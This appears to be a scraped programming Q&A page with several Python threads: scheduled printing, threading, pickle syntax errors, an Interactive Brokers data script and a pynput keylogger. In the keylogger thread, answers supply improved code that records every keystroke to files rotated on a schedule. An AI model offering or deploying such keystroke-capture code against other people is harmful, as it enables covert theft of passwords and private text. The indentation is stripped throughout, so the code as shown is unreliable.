print X items from list at scheduled time intervals - python

I have a json array with some data (name,address), I'd like to print one name every five minutes: so far I've got this:
def get_data(i):
f = open('data.json' , 'r')
infos = json.load(f)
name = infos['people'][i]['name']
print(name)
i+=1
schedule.every(5).minutes.do(get_data, i=0)
while True:
schedule.run_pending()
time.sleep(1)
but it obviously doesn't work because I'm setting i to zero every time that get_data gets called, is there a better way to do this?

You could wrap this function in a class like so:
import schedule
import json
import time
class Run:
def __init__(self):
self.i = 0
def get_data(self):
with open('data.json') as f:
infos = json.load(f)
try:
name = infos['people'][self.i]['name']
print(name)
except IndexError:
print('No name for index:', self.i)
else:
self.i += 1
if __name__ == '__main__':
run = Run()
schedule.every(5).minutes.do(Run.get_data, run)
while True:
schedule.run_pending()
time.sleep(1)

Related

How to automatically save text file after specific time in python?

This is my keylogger code:
import pynput
from pynput.keyboard import Key, Listener
from datetime import datetime, timedelta, time
import time
start = time.time()
now=datetime.now()
dt=now.strftime('%d%m%Y-%H%M%S')
keys=[]
def on_press(key):
keys.append(key)
write_file(keys)
try:
print(key.char)
except AttributeError:
print(key)
def write_file(keys):
with open ('log-'+str(dt)+'.txt','w') as f:
for key in keys:
# end=time.time()
# tot_time=end-start
k=str(key).replace("'","")
f.write(k.replace("Key.space", ' ').replace("Key.enter", '\n'))
# if tot_time>5.0:
# f.close()
# else:
# continue
with Listener(on_press=on_press) as listener:
listener.join()
In write_file() function, I've used the close method and also the timer which should automatically save the file after 5 seconds, but that gives me a long 1 paged error whose last line says:
ValueError: I/O operation on closed file.
How do I make my program save the txt file after every 5 seconds and create a new txt file automatically?
NOTE: I actually want the log file to be generated automatically after every 4 hours so that it is not flooded with uncountable words. I've just taken 5 seconds as an example.
The most important problem is that you did not reset the timer. After f.close(), end_time should be transferred into start_time.
Also, since you call write() for every event, there is no reason to accumulate into keys[].
Also, you never empty keys[].
You may have to customize the first line.
schedule = [ '08:00:00', '12:00:00', '16:00:00', '20:00:00'] # schedule for close/open file (must ascend)
import pynput
from pynput.keyboard import Listener
def on_press(key):
txt = key.char if hasattr( key, 'char') else ( '<'+key._name_+'>')
# do some conversions and concatenate to line
if txt == '<space>': txt = ' '
if txt == None: txt = '<?key?>' # some keyboards may generate unknown codes for Multimedia
glo.line += txt
if (len(glo.line) > 50) or (txt=='<enter>'):
writeFile( glo.fh, glo.line+'\n')
glo.line = ''
def writeFile( fh, txt):
fh.write( txt)
def openFile():
from datetime import datetime
dt=datetime.now().strftime('%d%m%Y-%H%M%S')
fh = open( 'log-'+str(dt)+'.txt', 'w') # open (or reopen)
return fh
def closeFile( fh):
fh.close()
def closeAndReOpen( fh, line):
if len( line) > 0:
writeFile( fh, line+'\n')
closeFile( fh)
fh = openFile()
return fh
class Ticker():
def __init__( self, sched=None, func=None, parm=None):
# 2 modes: if func is supplied, tick() will not return. Everything will be internal.
# if func is not supplied, it's non-blocking. The callback and sleep must be external.
self.target = None
self.sched = sched
self.func = func
self.parm = parm
def selectTarget( self):
for tim in self.sched: # select next target time (they are in ascending order)
if tim > self.actual:
self.target = tim
break
else: self.target = self.sched[0]
self.today = (self.actual < self.target) # True if target is today.
def tick( self):
from datetime import datetime
while True:
self.actual = datetime.now().strftime( "%H:%M:%S")
if not self.target: self.selectTarget()
if self.actual < self.target: self.today = True
act = (self.actual >= self.target) and self.today # True if target reached
if act: self.target = '' # next tick will select a new target
if not self.func: break # Non-blocking mode: upper level will sleep and call func
# The following statements are only executed in blocking mode
if act: self.func( self.parm)
time.sleep(1)
return act # will return only if func is not defined
class Glo:
pass
glo = Glo()
glo.fh = None
glo.line = ''
glo.fini = False
glo.fh = openFile()
listener = Listener( on_press=on_press)
listener.start()
ticker = Ticker( sched=schedule) # start ticker in non-blocking mode.
while not glo.fini:
import time
time.sleep(1)
if ticker.tick():
# time to close and reopen
glo.fh = closeAndReOpen( glo.fh, glo.line)
glo.line = ''
listener.stop()
writeFile( glo.fh, glo.line+'\n')
closeFile( glo.fh)
exit()
If you're satisfied, you may mark the answer as "ACCEPTed".
I executed your program and found 2 problems.
The first one is about the start variable. Python use different namespaces for each program or function. Since start was defined at program level, it wasn't known in the function. Commenting out your timer logic was hiding the problem. You can fix the problem with the 'global' statement.
The second one is about "with open". If you use "with open" you must not close the file yourself. If you do, "with open" will not reopen the file.
Here's a working version of your program.
import pynput
from pynput.keyboard import Key, Listener
from datetime import datetime, timedelta, time
import time
start = time.time()
now=datetime.now()
dt=now.strftime('%d%m%Y-%H%M%S')
keys=[]
def on_press(key):
keys.append(key)
write_file(keys)
try:
print(key.char)
except AttributeError:
print(key)
def write_file(keys, f=None):
global start
for key in keys:
k=str(key).replace("'","").replace("Key.space", ' ').replace("Key.enter", '\n')
if not f:
f = open( 'log-'+str(dt)+'.txt', 'w') # open (or reopen)
f.write( k)
end=time.time()
tot_time=end-start
if tot_time>5.0:
f.close()
f = None
start=end
else:
continue
keys = []
with Listener(on_press=on_press) as listener:
listener.join()
A nicer solution would be move the open/close logic outside the write_file() function.

App Using Pickle On Python Crashing When Running

I Have Tried To Make A Simple Notepad App (Not Finished So That's Why "y" is incomplete)
import pickle
var1 = input("Open Last Note?(y/n)")
if var1 = "y":
if var1 = "n":
note = input("Note")
class MyClass()
def __init__(self, param):
self.param = param
def save_object(obj):
try:
with open("data.pickle", "wb") as f:
pickle.dump(obj, f, protocol=pickle.HIGHEST_PROTOCOL)
except Exception as ex:
print("Error during pickling object (Possibly unsupported):", ex)
obj = MyClass(note)
save_object(obj)
You app crash becourse here an error. Next sample is uncorrect:
if True:
if True:
#comment
You must write pass if expression of function don't have body
if True:
pass
if True:
#comment
pass
Also you can use Ellipsis:
if True:
...
#Elepsis
There are another errors in youre code:
import pickle
var1 = input("Open Last Note?(y/n)")
if var1 == "y": #need double = in compare
pass
if var1 == "n": #need == in compare
note = input("Note")
class MyClass(): #you miss colon
def __init__(self, param):
self.param = param
def save_object(obj):
try:
with open("data.pickle", "wb") as f:
pickle.dump(obj, f, protocol=pickle.HIGHEST_PROTOCOL)
except Exception as ex:
print("Error during pickling object (Possibly unsupported):", ex)
obj = MyClass(note)
save_object(obj)

Sharing Time variable Between two threads

Hi i need to create 2 threads one which repeatedly writes the time of day as an
HH:MM:SS string into a global variable 100 times per second. The second thread will repeatedly read the time of day
string from that variable twice per second and try to display it to screen but code in that thread should ensure the same
string is never written twice in a row. The result is that second thread really displays to screen only once per second. i have tried following code but its not working
import threading
import time
c = threading.Condition()
flag = 0 #shared between Thread_A and Thread_B
val = ''
class Thread_A(threading.Thread):
def __init__(self, name):
threading.Thread.__init__(self)
self.name = name
def run(self):
global flag
global val #made global here
while True:
c.acquire()
if flag == 0:
time.sleep(0)
flag = 1
a=range(1,101)
for i in a:
val=time.strftime("%H:%M:%S", time.localtime(time.time()))
c.notify_all()
else:
c.wait()
c.release()
class Thread_B(threading.Thread):
def __init__(self, name):
threading.Thread.__init__(self)
self.name = name
def run(self):
global flag
global val #made global here
while True:
c.acquire()
if flag == 1:
#time.sleep(1)
flag = 0
a=range(0,2)
for i in a:
print str(val)
#val = 20
c.notify_all()
else:
c.wait()
c.release()
a = Thread_A("myThread_name_A")
b = Thread_B("myThread_name_B")
b.start()
a.start()
a.join()
b.join()
You're making this more complicated than it needs to be. You can use a simple Lock object to make sure that only one thread can access val at a time.
The code below will run on Python 2 or Python 3. To stop it, hit Enter
import time
from threading import Thread, Lock
# Rename Python 2's raw_input to input
try:
input = raw_input
except NameError:
pass
val = ''
lock = Lock()
def set_time(delay=0.01):
''' Write the current time to val '''
global val
while True:
lock.acquire()
val = time.strftime("%H:%M:%S")
lock.release()
time.sleep(delay)
def get_time(delay=0.5):
''' Read the current time from val and print
it if it hasn't been printed already
'''
oldval = ''
while True:
lock.acquire()
if val != oldval:
print(val)
oldval = val
lock.release()
time.sleep(delay)
# Start the threads
for func in (set_time, get_time):
t = Thread(target=func)
t.setDaemon(True)
t.start()
#Wait until we get some input
s = input()
some typical output
02:22:04
02:22:05
02:22:06
02:22:07
02:22:08

Script doesn't print to console in real time [PYTHON]

I am testing how to receive real time data through interactive brokers' API and reqMktData. The algorithm is run through an infinite while loop, which allows for real-time live streaming data until I stop the script.
When I run it, it is supposed to continuously print data to the console as specified in the code below. However, nothing is printed until I hit "stop the current command". Then I get a huge data dump consisting of all the data received since the execution of the script.
I have tried the following solution, where I import sys in the beginning of the script and flush the output after each print. However, this doesn't work either:
import sys
sys.stdout.flush()
I'm using python 2.7 and spyder - and am quite new to python.
Hope someone can help! Any inputs are greatly appreciated.
The script I'm testing:
from ib.ext.Contract import Contract
from ib.ext.Order import Order
from ib.opt import Connection, message
import pandas as pd
import datetime as dt
class AlgoSystem:
def __init__(self, symbol, qty, resample_interval,
averaging_period=5, port=7496):
self.client_id = 1
self.order_id = 1
self.qty = qty
self.symbol_id, self.symbol = 0, symbol
self.resample_interval = resample_interval
self.averaging_period = averaging_period
self.port = port
self.tws_conn = None
self.bid_price, self.ask_price = 0, 0
self.last_prices = pd.DataFrame(columns=[self.symbol_id])
self.average_price = 0
self.account_code = None
def error_handler(self, msg):
if msg.typeName == "error" and msg.id != -1:
print "Server Error:", msg
def tick_event(self, msg):
if msg.field == 1:
self.bid_price = msg.price
elif msg.field == 2:
self.ask_price = msg.price
elif msg.field == 4:
self.last_prices.loc[dt.datetime.now()] = msg.price
resampled_prices = \
self.last_prices.resample(self.resample_interval,
how='last',
fill_method="ffill")
self.average_price = resampled_prices.tail(
self.averaging_period).mean()[0]
print dt.datetime.now(), "average:", self.average_price, \
"bid:", self.bid_price, "ask:", self.ask_price
def create_contract(self, symbol, sec_type, exch, prim_exch, curr):
contract = Contract()
contract.m_symbol = symbol
contract.m_secType = sec_type
contract.m_exchange = exch
contract.m_primaryExch = prim_exch
contract.m_currency = curr
return contract
def request_market_data(self, symbol_id, symbol):
contract = self.create_contract(symbol,
'STK',
'SMART',
'SMART',
'USD')
self.tws_conn.reqMktData(symbol_id, contract, '', False)
time.sleep(1)
def cancel_market_data(self, symbol):
self.tws_conn.cancelMktData(symbol)
time.sleep(1)
def connect_to_tws(self):
self.tws_conn = Connection.create(port=self.port,
clientId=self.client_id)
self.tws_conn.connect()
def disconnect_from_tws(self):
if self.tws_conn is not None:
self.tws_conn.disconnect()
def register_callback_functions(self):
# Assign error handling function.
self.tws_conn.register(self.error_handler, 'Error')
# Register market data events.
self.tws_conn.register(self.tick_event,
message.tickPrice,
message.tickSize)
def start(self):
try:
self.connect_to_tws()
self.register_callback_functions()
self.request_market_data(self.symbol_id, self.symbol)
while True:
time.sleep(1)
except Exception, e:
print "Error:", e
self.cancel_market_data(self.symbol)
finally:
print "disconnected"
self.disconnect_from_tws()
if __name__ == "__main__":
system = AlgoSystem("FB", 100, "30s", 5)
system.start()
I don't know anything about the interactive brokers API, but my guess is that your start method needs to be changed to something along the lines of :
def start(self):
try:
self.connect_to_tws()
self.register_callback_functions()
while True:
self.request_market_data(self.symbol_id, self.symbol)
time.sleep(1)
except Exception, e:
print "Error:", e
self.cancel_market_data(self.symbol)
finally:
print "disconnected"
self.disconnect_from_tws()
currently your infinite loop just repeatedly sleeps. I think you want the request_market_data to be inside the while loop.

how to pass a function to a tuple from a thread

My questions are interlaced within my code:
#!/usr/bin/python
import threading
import logging, logging.handlers
import hpclib
import json
import time
from datetime import datetime
from features import *
import sys
if len(sys.argv) != 3:
print "Please provide the correct inputs"
print "Usage: rest_test.py <controllerip> <counter>"
sys.exit()
controller = sys.argv[1]
counter = int(sys.argv[2])
class FuncThread(threading.Thread):
def __init__(self, target, *args):
self._target = target
self._args = args
threading.Thread.__init__(self)
def run(self):
self._target(*self._args)
def datapath_thread(ipaddress, testlogfile,count):
#initialize logging system
testlogger = logging.getLogger("testlogger")
testlogger.setLevel(logging.DEBUG)
file = open(testlogfile,'w')
file.close()
# This handler writes everything to a file.
h1 = logging.FileHandler(testlogfile)
f = logging.Formatter("%(levelname)s %(asctime)s %(funcName)s %(lineno)d %(message)s")
h1.setFormatter(f)
h1.setLevel(logging.DEBUG)
testlogger.addHandler(h1)
mylib = hpclib.hpclib(ipaddress)
success_count = 0
failure_count = 0
for i in range(count):
t1=datetime.now()
try:
(code, val) = datapaths.listDatapaths(mylib)
I want to pass this function datapaths.listDatapaths(mylib) as a argument from a thread below, something like (code,val)=functionname
if code == 200:
success_count +=1
else:
testlogger.debug("Return Code other than 200 received with code = %d, value = %s"%(code,val))
failure_count +=1
except:
failure_count += 1
testlogger.debug ("Unexpected error: %s"%sys.exc_info()[0])
continue
t2=datetime.now()
diff=t2-t1
testlogger.debug('RETURN code: %d. Time taken in sec = %s,Iteration = %d, Success = %d, Failure = %d'%(code,diff.seconds,i+1,success_count,failure_count))
time.sleep(1)
testlogger.removeHandler(h1)
# Passing ipadress of controller and log file name
t1 = FuncThread(datapath_thread, controller, "datapaths.log",counter)
Here I would like to pass function name as one of the argument,something like t1 = FuncThread(datapath_thread, controller, datapaths.listDatapaths(mylib),"datapaths.log",counter)
t1.start()
t1.join()
I have many functions to call like this,so want a easy way to call all the functions from one single function using many threads
Firstly, FuncThread is not very useful - FuncThread(func, *args) can be spelt Thread(target=lambda: func(*args)) or Thread(target=func, args=args).
You're pretty close - instead of passing in the result of calling the function, pass in the function itself
def datapath_thread(ipaddress, test_func, testlogfile, count):
# ...
for i in range(count):
# ...
try:
(code, val) = test_func(mylib)
#...
thread = Thread(target=datapath_thread, args=(
controller,
datapaths.listDatapaths,
"datapaths.log",
counter
))

Categories

Resources